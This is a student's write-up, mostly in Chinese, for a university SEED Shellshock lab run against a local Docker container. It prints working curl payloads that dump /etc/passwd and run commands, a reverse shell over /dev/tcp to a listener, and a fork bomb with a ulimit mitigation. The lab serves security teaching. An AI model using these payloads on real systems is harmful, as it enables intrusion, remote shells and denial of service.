National Taiwan Normal University

CSIE Information Security: A Hands-on Approach

*Instructor:* Po-Wen Chi

*Due Date: 11/01, 2021, AM 11:59*

# Assignment 2

**系級：資工１１１　學號：４０７４７０３１Ｓ　姓名：劉子弘**

## 2.1 SEED Lab (50 pts)

### 2 Environment Setup

---

### 2.1:DNS Setting

◦確定了 DNS 的設置

```
  GNU nano 4.8              /etc/hosts
# For Shellshock Lab
10.9.0.80       www.seedlab-shellshock.com
```

### 2.2:Container Setup and Commands

◦依照 manul 建立了 docker

```
seed@VM:~/.../Labsetup$ docker-compose build
[10/31/21]seed@VM:~/.../Labsetup$ dcup
Starting victim-10.9.0.80 ... done
Attaching to victim-10.9.0.80
victim-10.9.0.80 |  * Starting Apache httpd web server apache2
[10/31/21]seed@VM:~/.../Labsetup$ dockps
5a06c26915d2  victim-10.9.0.80
[10/31/21]seed@VM:~/.../Labsetup$ docksh 5a0
root@5a06c26915d2:/#
```

### 2.3:Web Server and CGI

◦確認了 cgi 的設置，並 call 他做確認

```
  GNU nano 4.8                  vul.cgi
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
[10/31/21]seed@VM:/bin$  curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

Hello World
```

## Task 1: Experimenting with Bash Function

◦執行 bash_shellshock 後 bad 被輸出,可以發現有漏洞

```
[10/31/21]seed@VM:~/.../image_www$ myfoo='() { echo "hello";};echo "bad";'
[10/31/21]seed@VM:~/.../image_www$ echo $myfoo
() { echo "hello";};echo "bad";
[10/31/21]seed@VM:~/.../image_www$ export myfoo
[10/31/21]seed@VM:~/.../image_www$ ls
bash_shellshock  Dockerfile  getenv.cgi  server_name.conf  vul.cgi
[10/31/21]seed@VM:~/.../image_www$ ./bash_shellshock
bad
[10/31/21]seed@VM:~/.../image_www$
```

## Task 2: Passing Data to Bash via Environment Variable

◦用 curl -v 去 call 後可以看到 http header 和環境變數

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 01 Nov 2021 01:54:15 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port
address>
```

◦因為 call CGI 時 fork 了新 process 然後用 exec 來執行，因為 CGI 開頭是 #！ /bin/bash，所以執行後 bash 會執行腳本，而環境變數也傳了過來

◦使用-a 設定了之後可以發現 User-agent 被更改為 mydata，且環境變亮中 HTTP_USER_AGENT 也被設為 mydata

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: my data
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 01 Nov 2021 01:59:29 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=my data
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</addres
```

◦ -e-h 則可以如以下設置

```
seed@VM:~/.../Labsetup$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
seed@VM:~/.../Labsetup$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

```
HTTP_REFERER=my data
```

```
HTTP_AAAAAA=BBBBBB
```

## Task 3: Launching the Shellshock Attack

### Task 3.A: Get the server to send back the content of the /etc/passwd file

◦ 透過-A 設定 echo Content_type: text/plain; echo;保持文本，在後面直接去 cat

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain;
echo ;/bin/cat /etc/passwd"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

### Task 3.B: Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information.

◦ 查看/bin/id

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain
;echo ;/bin/id"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Task 3.C: Get the server to create a file inside the /tmp folder. You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder.

◦ 直接 touch 並 ls

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain
;echo ;/bin/touch /tmp/myfile"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain
;echo ;/bin/ls /tmp"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
myfile
```

### Task 3.D: Get the server to delete the file that you just created inside the /tmp folder

◦ 直接 rm 並 ls

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain
;echo ;/bin/rm /tmp/myfile"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; echo Content_type: text/plain
;echo ;/bin/ls /tmp"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

Question 1: Will you be able to steal the content of the shadow file /etc/shadow from the server? Why or why not? The information obtained in Task 3.B should give you a clue.

---

。不行，因為 shadow 要 root 和 shadow privilege

```
[10/31/21]seed@VM:~/.../Labsetup$ ll /etc/shadow
-rw-r----- 1 root shadow 1646 Oct 13 19:42 /etc/shadow
```

Question 2: Can we use this method to launch the Shellshock attack? Please conduct your experiment and derive your conclusions based on your experiment results:

---

。不行，放在？後會發現在 env 中被放在 QUERY_STRING 和 REQUEST_URI，但無法有空格，故我做不到

```
QUERY_STRING=()echohello;;echoContent_type:text/plain;echo;/bin/cat
/etc/password
REQUEST_URI=/cgi-bin/getenv.cgi?()echohello;;echoContent_type:text/
```

## 3.4 Task 4: Getting a Reverse Shell via Shellshock Attac

。先找到我的 ip

```
10/31/21]seed@VM:~/.../Labsetup$ ifconfig
r-b62225d08338: flags=4163<UP,BROADCAST,RU
00
        inet 10.9.0.1  netmask 255.255.255.
```

。再發動攻擊這邊監聽

```
[10/31/21]seed@VM:~$ nc -nv -l 9090
Listening on 0.0.0.0 9090
```

。透過 bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1"，透過 - i 開啟交互模式，> /dev/tcp/10.9.0.1/9090 可以把 stdout 導到 tcp 接的 port，0<&1 把 stdout 也作為 stdin，TCP 可以輸入輸出雙向，2>&1 是把 stderr 也導過來，最後就可以在 server 上開一個 bash 輸入輸出都透過 TCP

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; ec
ho Content_type: text/plain;echo ;/bin/bash -i > /dev/tcp/10.9.0.1/
9090 0<&1 2>&1"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

。攻擊成功

```
[10/31/21]seed@VM:~$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.80 51310
bash: cannot set terminal process group (31): Inappropriate ioctl f
or device
bash: no job control in this shell
www-data@5a06c26915d2:/usr/lib/cgi-bin$
```

### 3.5 Task 5: Using the Patched Bash

。修改完 docker 後會發現 task3 的指令在正常的 bash 都無法攻擊成功，且能印出正常的環境變數

```
[10/31/21]seed@VM:~/.../Labsetup$ curl -A "() { echo "hello" ;}; ec
ho Content_type: text/plain;echo ;/bin/cat /etc/passwd " http://www
.seedlab-shellshock.com/cgi-bin/vul.cgi

Hello World
```

## 2.2 Web CGI: Bash Script (15 pts)

## 2.3 Shell Function (15 pts)

- :(){ :|:& };:

  :() 是要定義一個函式，含是名叫 :

  { 表示函式開始

  :|: &; 這個函式會呼叫了這個函式，然後呼叫一個新 proces 再呼叫一次這個函式到後台執行

  }; 表示函式結束且分隔命令

  : 呼叫這個函式

  最終導致不斷的 fork 出新程序然後記憶體爆炸

```
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
```

基本上只要設 limit 就可以避免，像是用 ulimit 限制最大 process 數，也可以修改/etc/security/ limits.conf 來限制最大 process 數

## 2.4 How to Patch Shellshock? (15 pts)

## 2.5 Linux Network Namespace (15 pts)